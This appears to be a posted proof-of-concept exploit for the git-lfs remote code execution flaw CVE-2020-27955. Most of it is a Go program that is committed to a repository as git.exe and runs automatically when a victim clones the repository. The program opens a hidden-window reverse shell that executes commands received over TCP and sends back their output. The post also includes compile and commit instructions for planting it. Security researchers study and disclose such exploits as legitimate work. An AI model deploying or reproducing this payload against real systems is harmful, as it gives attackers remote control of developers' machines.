git-lfs Remote Code Execution Exploit

/*
   Go PoC exploit for git-lfs -  Remote Code Execution (RCE)
vulnerability CVE-2020-27955
   git-lfs-RCE-exploit-CVE-2020-27955.go
 
   Discovered by Dawid Golunski
   https://legalhackers.com
   https://exploitbox.io
 
 
   Affected (RCE exploit):
   Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
   Basically the whole Windows dev world which uses git.
 
   Usage:
   Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
   Save & commit as git.exe
 
   The payload should get executed automatically on git clone operation.
   It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).
 
   An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:
 
   git lfs track "*.dat"
   echo "fat bug file" > lfsdata.dat
   git add .*
   git add *
   git commmit -m 'git-lfs exploit' -a
 
   Check out the full advisory for details:
 
   https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html
 
   https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html
 
   PoC video at:
   https://youtu.be/tlptOf9w274
 
 ** For testing purposes only **
 
 
*/
 
package main
import (
    "net"
    "os/exec"
    "bufio"
    "syscall"
)
 
 
func revsh(host string) {
 
    c, err := net.Dial("tcp", host)
    if nil != err {
    // Conn failed
        if nil != c {
            c.Close()
        }
        // Calc for testing purposes if no listener available
        cmd := exec.Command("calc")
        cmd.Run()
        return
    }
 
    r := bufio.NewReader(c)
    for {
        runcmd, err := r.ReadString('\n')
        if nil != err {
            c.Close()
            return
        }
        cmd := exec.Command("cmd", "/C", runcmd)
        cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
        out, _ := cmd.CombinedOutput()
        c.Write(out)
    }
}
 
// Connect to netcat listener on local port 1337
func main() {
    revsh("localhost:1337")
}
 
 
--
Regards,
Dawid Golunski
 
#  0day.today [2020-11-09]  #